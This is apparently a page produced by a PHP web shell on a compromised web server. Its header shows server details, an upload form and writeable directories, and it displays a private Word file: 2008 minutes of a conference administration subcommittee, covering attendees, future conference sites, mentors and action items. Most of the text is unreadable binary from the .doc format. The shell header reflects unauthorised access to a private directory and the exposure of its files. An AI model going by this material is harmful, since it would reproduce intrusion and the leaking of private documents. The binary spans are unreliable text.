KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/astrosfm/docs-private/CAS/docs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/astrosfm/docs-private/CAS/docs/Jan_08_Minutes.doc
��ࡱ�>��	df����c�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#`	���bjbjm�m�	.J����������$�"�"�"�",�"�$E2`#`#`#`#`#`#`#`#�D�D�D�D�D�D�D$:Fh�H��DV(`#`#V(V(�D`#`#�D�*�*�*V(Z`#`#�D�*V(�D�*�*��?��A`#T#`���i��"�)R_@KB<�D0Eu@64I*�4I,�A4I�A�`#r�$�*�%��&�`#`#`#�D�D�*`#`#`#EV(V(V(V($$$���$$$�$$$����Conference Administration Subcommittee
Winter 2008 Meeting Agenda

Members �

___X____	Matt Berry
___X____	Angela Bowes
___X____	Ken Chan
_______	Vicki Coverstone
___X____	Pini Gurfil
___X____	Felix Hoots
___X____	Kathie Howell
_______	Kim Luu
_______	Daniele Mortari
_______	Aaron Trask
_______	Fred Pelletier
_______	Ralph Sandfry
___X____	Paul Schumacher
___X____	Matt Wilkins


Product status � any updates or modifications

ProductPOCStatusOn Wiki Administrative Documents      CharterHootsNew updatesYes     Agenda, MinutesHootsOngoingYes     Task trackingHootsOngoingYesGeneral Planning Data     Site rotationHootsNeed history prior to 1977Yes     Selection scheduleHootsNew itemYes     Fee historyHootsNew itemYes     Conference statisticsWilkinsIn processNot yetDetailed planning aids     Planning scheduleCoverstoneDone � any more comments?Yes     Planning manualLuuDone � any comments?Yes     Summer requirementsTraskDone � any more comments?Yes     Winter requirementsTraskDone � any more comments?Yes
Lead support for conference registration and administration - Summer 2007 (Mackinac Island, MI) � Fred Pelletier

Lead support for conference registration and administration - Winter 2008 (Galveston, TX) � Bo Naasz

Lead support for conference registration and administration - Winter 2009 (Savannah, GA) � need volunteer

Status:  Paul Schumacher will serve as primary interface

Lead support for conference registration and administration - Summer 2009 (Pittsburgh, PA) � need volunteer

Status:  Matt Berry will serve as primary interface

Refine details of Winter 2010 site options and make presentation for vote in January 2008 � Felix Hoots

Status:  AAS committee had a tie vote between San Diego and Los Cabos, Mexico.  The AIAA also provided a non-binding preference vote for San Diego.  We will proceed with San Diego as a first choice with Los Cabos as a backup choice.

Need volunteer for Winter 2010 general chair �Coverstone?, Sandfry?, Trask?

Status:  Trask and Coverstone have both said they are willing to volunteer.  Hoots contacted both and Trask will be the General Chair.

Examine registration fee trends - develop budget guidelines � Kathie Howell, Felix Hoots

Status:  Too hard to develop general guidelines since too much variation between sites.  Some general suggestions will be provided in Subcommittee Charter.  This will be circulated to subcommittee for comments.

Charter modifications � discuss changes, oversight subcommittee

Status:  Discuss how to provide oversight for general chairs.  Concept is to pair a mentor with each general chair to provide oversight/advice especially for contact negotiation and budget development.  More details for the process will be specified in the Charter modifications.

Fred Pelletier will serve as mentor for Winter 2009 conference (Savannah)
Felix Hoots will serve as mentor for Summer 2009 conference (Pittsburgh)
Kathie Howell will serve as mentor for Winter 2010 conference (San Diego)

Volunteer for Winter 2011 site research � 

Status:  Site suggestions will be solicited at Aug 08 committee meeting.  Angela Bowes will lead the effort to research sites.

Other business �

Discussed options for wider advertising of upcoming conferences.  One productive option is notification of Aerospace departments.  Pini Gurfil will put together a list of names and contact information and provide this to Matt Wilkins.

Actions �

Send out minutes
Draft modifications to charter and send out for comments
Send General chair manual to Tom Eller, copy Kim Luu
Email Fred Pelletier to confirm he will be mentor for Winter 2009
Email Trask for posting requirements to Wiki site
Update conference history on Wiki site
'2ABNqwx{|�����������������				 	(	7	?	M	P	Q	V	f	i	j	o	|	~	�	�	�	�	�	�	�	

%
,
������ÿ���Ώ�Ώ���������Ώ�Ώ�ᰬ����������h%<Fh�]�hp�h��5�h��h'x�h�.�hp�h�Tdh�TdmHsHh�TdhAu0h�:3h�:3mHsHh�:3mHsHh�Tdh�:3mHsHh�^�h�^�h�^�CJ$aJ$hmA�CJ$aJ$h�^�CJ$aJ$8'BCMNbx������	 	7	M	f	|	}	~	�	�	������������������������h^�hgd��
&Fgd����^��gd�^���^��gdAu0��^��gd�:3$a$gd�^����	�	�	�	�	����	$Ifgd%<F�	�	�	�	+""	$Ifgd%<F�kd$$If�l��\��@��,"���X	�````
t��(�������������0�������6����������������������4�4�
la�p�(������������yt%<F�	�	�	�	
	
�xxxx	$Ifgd%<F}kd�$$If�l��0��@,"��
t��0�������6��������������4�4�
la�yt%<F	



%
-
1
[RRRR	$Ifgd%<F�kdW$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F,
-
0
K
R
S
V
�
�
�
�
�
�
�
�
'(/��������568;�����
	



k
n
|
}
~
�
����������������������ͨ���͛���hZw5�B*phh8
u5�B*phh8
uh8
uh�h8
u5�B*phh��5�B*phh��h��h��h�^�h��h��5�B*phh��B*phh�^�h�^�B*phh�2hLCh�thD�h[�h%<Fh�]�h��.1
2
E
K
S
W
[RRRR	$Ifgd%<F�kd�$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<FW
X
n
o
[RR	$Ifgd%<F�kdy$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<Fo
p
�
�
�
�
�xxxx	$Ifgd%<F}kd
$$If�l��0��@,"��
t��0�������6��������������4�4�
la�yt%<F�
�
�
�
�
�
[RRRR	$Ifgd%<F�kdo$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F�
�
�
�
�
�
[RRRR	$Ifgd%<F�kd$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F�
�
(0[RRRR	$Ifgd%<F�kd�$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F01HI[RR	$Ifgd%<F�kd"$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<FIJal���xxxx	$Ifgd%<F}kd�$$If�l��0��@,"��
t��0�������6��������������4�4�
la�yt%<F������[RRRR	$Ifgd%<F�kd$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F������[RRRR	$Ifgd%<F�kd�$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F��59[RRRR	$Ifgd%<F�kd:$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F9:;��

}
[RJRJRJ
&Fgd���h^�hgd���kd�$$If�l��\��@��,"���X
t��0�������6����������������������4�4�
la�yt%<F}
~
�
�
$%YZ������������������������������������h^�hgd�U�h^�hgd��gd8
ugd��gdLCd�7$8$H$gd��
&Fgd��gdZw�h^�hgd8
u�
�
�
�
�
�
�
#$%.8XYZlw�����������������������˾�����˗˗���ˇ�}vle�a]h%<Fh��h��hLChLC5�B*phhLCh�^�h��5�B*phh��B*phhAu0B*phh�^�h�^�B*phh��h��hZw5�B*phh8
uh8
uh8
uh�h8
u5�B*phh��B*phh�^�h��B*phh��h8
uh8
uh��h8
u5�B*phhW�5�B*ph"�������M��������������������	2=������������������{qiaZ����U	hLC5�h8
uh�Uh�UB*phh�]�B*phh�U5�B*phh�Uh�UB*phh�Uh�Uh�Uh8
uhZw5�B*phh8
u5�B*phh8
uh��h��h��5�B*phh��B*phh��h��B*phh��h8
u	h�25�	hZw5�	h8
u5�h8
uh��	h�]�5�	h%<F5�h%<Fh%<F5� �	
T�������������^������������������������
&FgdZwgd�^�d�7$8$H$gd��
&FgdZw�h^�hgd8
ugdLCgdZw=>JRST��������������^j���������������������������ļĵ����ӵ�����������h�hZwh�?AB*phhZwh8
u5�B*phhZwhZw5�B*phhZw5�B*phhZwhZwhZwB*phh8
uB*phh8
uh8
uhZwhZw5�	h&5�hZwhLC5�	hZw5�	hLC5�	h�5�hLChLC5�',1�h��/ ��=!�"�#��$��%��������$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l	�````
t��(�������������6�5��5��5��5�Xp�(������������yt%<Fc$$If�!vh5��5��#v�#v�:V�l
t��6�5��5��yt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<Fc$$If�!vh5��5��#v�#v�:V�l
t��6�5��5��yt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<Fc$$If�!vh5��5��#v�#v�:V�l
t��6�5��5��yt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F�$$If�!vh5��5��5��5�X#v�#v�#v�#vX:V�l
t��6�5��5��5��5�Xyt%<F��@@�@NormalCJ_HaJmH	sH	tH	DA�DDefault Paragraph FontRi@�RTable Normal�4�
l4�a�(k�(No Listj�@��j�.�
Table Grid7:V�0�������J����'BCMNbx������ 7Mf|}~������������	
%-12EKSWXnop���������������(01HIJal�������������59:;��}~��$%YZ�����������	�	�	�		
T��������
�
�
�
�
�
^���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0���0��� 0���0���0��� �@0��� �@0��� �@0��� �@0��� �@0��� �@0��� �@0�����@0��� �@0��� �@0��� �0��� �@0��� �@0��� �@0��� �0��� �0��� �@0��� �@0��� �@0��� �0��� �0��� �@0��� �@0��� �@0��� �@0�����@0��� �@0��� �0��� �0��� �@0��� �@0��� �@0��� �@0��� �0��� �@0��� �@0��� �@0��� �@0��� �0��� �@0��� �@0��� �@0��� �0��� �0��� �@0��� �@0��� �@0��� �@0�����@0��� �@0��� �@0��� �0��� �@0��� �@0��� �@0��� �0��� �0��� �@0��� �@0��� �@0��� �@0��� �0��� �@0��� �@0��� �@0��� �@0��� �0��� �@0��� �0��� 0���0��� 0���0��� 0���0���0���0��� 0���0���0���@0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0��� 0���0���0���0���0���0���0���0��� 0	���0���0���0��� 0
���0���0���0���0���0��� 0��� 0��� 0��� 0��� 0��� 0��'BCMNb������ 7Mf|~������������	
%-12EKSWXnop���������������(01HIJal�������������59:;���YZ�����0����0����0����0����0����@0����0����0����0����0����0����0����0����0����0����0����0����0����0���� 0���0���0�� �0�� �0�� �0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0�����0�� �0�� �0�� �0�� �0����0�� �0�� �0�����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0����0�� �0�� �0�� �0�� �0�����0��� 0���0��� 0���0��� 0��� 0����@0���� 0���0���� 0�����00�,
�
�=�!"$�	�	�		
1
W
o
�
�
�
0I���9}
��
 #����ud�#�u|x#�u\@i�uw#�u,y#�u�y#�u��#�u�z#�u�x�u<��u��#�u\�#�u|L# �u��#!�u��"�u��#�u�$�u�j%�u,k&�ulk'�u�(�u�)�u\�*�udmk+�u�mk,�u�mk�����^^h���
LLmmJJ�����	

���fjj
�UUvvRR�����	

9*�urn:schemas-microsoft-com:office:smarttags�place�8*�urn:schemas-microsoft-com:office:smarttags�City�9*�urn:schemas-microsoft-com:office:smarttags�State�B*�urn:schemas-microsoft-com:office:smarttags�country-region��j}Qbeqrw��������ELak������������
`e��)
-
.
4
di�Nabw`g��G[���3333'CN�����;y	�	��^����
�
�
�
�����,�
H�b���������@l2�`����������O�>�d����������YI��d@����������H�P��"0���������|�X
����������Gx�s\�����������F�{�*����������h�h����h^�h`���OJQJo(�h�H���h�8����8^�8`���OJQJ^Jo(�h�Ho�h�����^�`���OJQJo(�h�H���h��	�����	^��	`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�x����x^�x`���OJQJo(�h�H���h�H����H^�H`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H��h�h����h^�h`���OJQJo(�h�H���h�8����8^�8`���OJQJ^Jo(�h�Ho�h�����^�`���OJQJo(�h�H���h��	�����	^��	`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�x����x^�x`���OJQJo(�h�H���h�H����H^�H`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H���h����h^�h`���o(.�
�8����8^�8`����h�H.�
��L��^�`�L��h�H.�
��	�����	^��	`����h�H.�
�������^��`����h�H.�
�x�L��x^�x`�L��h�H.�
�H����H^�H`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.h
�������^��`���o(�h�H.�
�������^��`����h�H.�
�p�L��p^�p`�L��h�H.�
�@����@^�@`����h�H.�
�����^�`����h�H.�
���L���^��`�L��h�H.�
�������^��`����h�H.�
�������^��`����h�H.�
�P�L��P^�P`�L��h�H.h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�p����p^�p`���OJQJo(�h�H���h�@����@^�@`���OJQJo(�h�H���h�����^�`���OJQJ^Jo(�h�Ho�h�������^��`���OJQJo(�h�H���h�������^��`���OJQJo(�h�H���h�������^��`���OJQJ^Jo(�h�Ho�h�P����P^�P`���OJQJo(�h�H��h
�������^��`����h�H.�h
�������^��`����h�H.�h
�p�L��p^�p`�L��h�H.�h
�@����@^�@`����h�H.�h
�����^�`����h�H.�h
���L���^��`�L��h�H.�h
�������^��`����h�H.�h
�������^��`����h�H.�h
�P�L��P^�P`�L��h�H.h
�������^��`����h�H.�h
�������^��`����h�H.�h
�p�L��p^�p`�L��h�H.�h
�@����@^�@`����h�H.�h
�����^�`����h�H.�h
���L���^��`�L��h�H.�h
�������^��`����h�H.�h
�������^��`����h�H.�h
�P�L��P^�P`�L��h�H.h
�������^��`����h�H.�h
�������^��`����h�H.�h
�p�L��p^�p`�L��h�H.�h
�@����@^�@`����h�H.�h
�����^�`����h�H.�h
���L���^��`�L��h�H.�h
�������^��`����h�H.�h
�������^��`����h�H.�h
�P�L��P^�P`�L��h�H.�,�
|�X�YI�F�{�O�>Gx�s�H�P@l������������������������������������																																																																								"�!�%Au0�2�:3�F?�?ALCJE%<F�U�cW�Td�t8
uZw&W��^�p����n�D��[��E�W����.��.�'x��i�mA��]��d������������	
%-12EKSWXnop���������������(01HIJal�������������59:�����������������@����?'�����@@��Unknown������������G��z ��Times New Roman5��Symbol3&��z ��Arial?5�	�z ��Courier New;��Wingdings"q���h�&�<†	�2�2�!������24��2�Q�HP)�?�����������������������^�2��&Conference Administration Subcommitteefh27377fh27377,����Oh��+'��0��������	 ,
LX
dpx���(Conference Administration Subcommitteefh27377Normal.dotfh273779Microsoft Office Word@�@t/�a�@(��i�2�����՜.��+,��0(hp��������
��The Aerospace Corporation�''Conference Administration SubcommitteeTitle	

 !"#$%����'()*+,-����/0123456789:;<=>?@ABCDEFGHIJKLMNOPQR����TUVWXYZ����\]^_`ab��������e������������������������������������������������������������������������������������������������������������Root Entry��������	�F0���i�g�Data
������������&1Table����.`IWordDocument����.JSummaryInformation(������������SDocumentSummaryInformation8��������[CompObj������������q������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�FMicrosoft Office Word Document
MSWordDocWord.Document.8�9�q

Anon7 - 2021